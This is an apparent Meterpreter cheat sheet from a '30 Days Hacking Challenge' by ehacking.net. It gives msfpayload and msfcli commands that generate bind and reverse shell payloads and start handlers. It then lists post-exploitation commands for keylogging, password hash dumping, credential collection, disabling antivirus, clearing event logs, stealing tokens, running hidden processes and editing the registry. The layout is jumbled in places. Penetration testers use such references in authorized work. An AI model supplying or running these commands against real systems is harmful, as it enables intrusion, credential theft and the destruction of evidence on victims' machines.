

Executing Meterpreter

As a Metasploit Exploit Payload (bind_tcp) for bind shell or (reverse_tcp) for reverse shell As Standalone binary to be uploaded and executed on the target system:

./msfpayload windows/meterpreter/bind_tcp LPORT=443 X > meterpreter.exe (Bind Shell)

./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/bind_tcp LPORT=443

RHOST=<IP>

./msfpayload windows/meterpreter/reverse_tcp RHOST=<IP> RPORT=443 X > meterpreter.exe (Reverse Shell)

./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LPORT=443 E

Core Commands

meterpreter> background

Puts the Meterpreter session in background mode. Session could be recovered typing:

sessions -l (to identify session ID)

sessions -i <Session ID>

meterpreter> irb

Opens meterpreter scripting menu

meterpreter> use <library>

Permits loading extra meterpreter functionalities with the following loadable libraries:

espia	Allows Desktop spying through screenshots
incognito	Allows user impersonation sort of commands
priv	Allows filesystem and hash dumping commands
sniffer	Allows network sniffing interaction commands

meterpreter> run <script>

Permits the execution of ruby self developed meterpreter scripts such:

checkvm	killav
credcollect	metsvc
get_local_subnets	migrate
getcountermeasure	netenum
getgui	prefetchtool
gettelnet	vnc_oneport / vnc
hashdump	sheduleme
keylogrecorder	winenum

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**Meterpreter
Cheat Sheet**

30 Days Hacking Challenge
Irfan Shakeel
www.ehacking.net

User Interface Commands

meterpreter> idletime

Displays how much time the user is inactive

meterpreter> keyscan_start Starts recording user key typing

meterpreter>keyscan_dump Dumps the user's key strokes
meterpreter>keyscan_stop Stops recording user typing

File System Commands			System Commands	
meterpreter> getwd Obtain current working directory on Server's Side			meterpreter> sysinfo Provides information about target host	meterpreter> execute -f file [Options] Execute the given "file" on the OS target host. Options: -H Create the process hidden from view -a Arguments to pass to the command -i Interact with the process after creating it -m Execute from memmory -t Execute process with currently impersonated thread token
meterpreter> getlwd Obtain local current working directory			meterpreter> getuid Obtain the username responsible for the current process	
meterpreter> del <file> Deletes the given file			meterpreter> kill <pid> Kill the given process identified by PID	
meterpreter> cat <file> Read the given file			meterpreter> edit <file> Edit the given file	
meterpreter> upload <src file> <dst file> Upload a file to the target host				
meterpreter> download <src file> <dst file> Download a file from the target host			meterpreter> ps List all running processes	meterpreter> clearav Clears and secure removes event logs
Networking Commands			meterpreter> shell Obtain interactive windows OS Shell	meterpreter> steal_token Attempts to steal an impersonation token from the target process
meterpreter> portfwd Establish port forwarding connections through meterpreter tunnels: Options: -L Local host to listen on -l Local port to listen on -p Remote port to connect to -r Remote host to connect to	meterpreter> ipconfig Displays network interfaces information	meterpreter> route View and modify networking routing table	eterpreter> reg <Command> [Options] Interact with the target OS Windows Registry using the following options and commands: commands: enumkey Enumerate the supplied registry key createkey / deletekey Create/deleted the supplied registry key setval / queryval Set/query values from the supplied registry key Options: -d Data to store in the registry value -k The registry key -v The registry value name	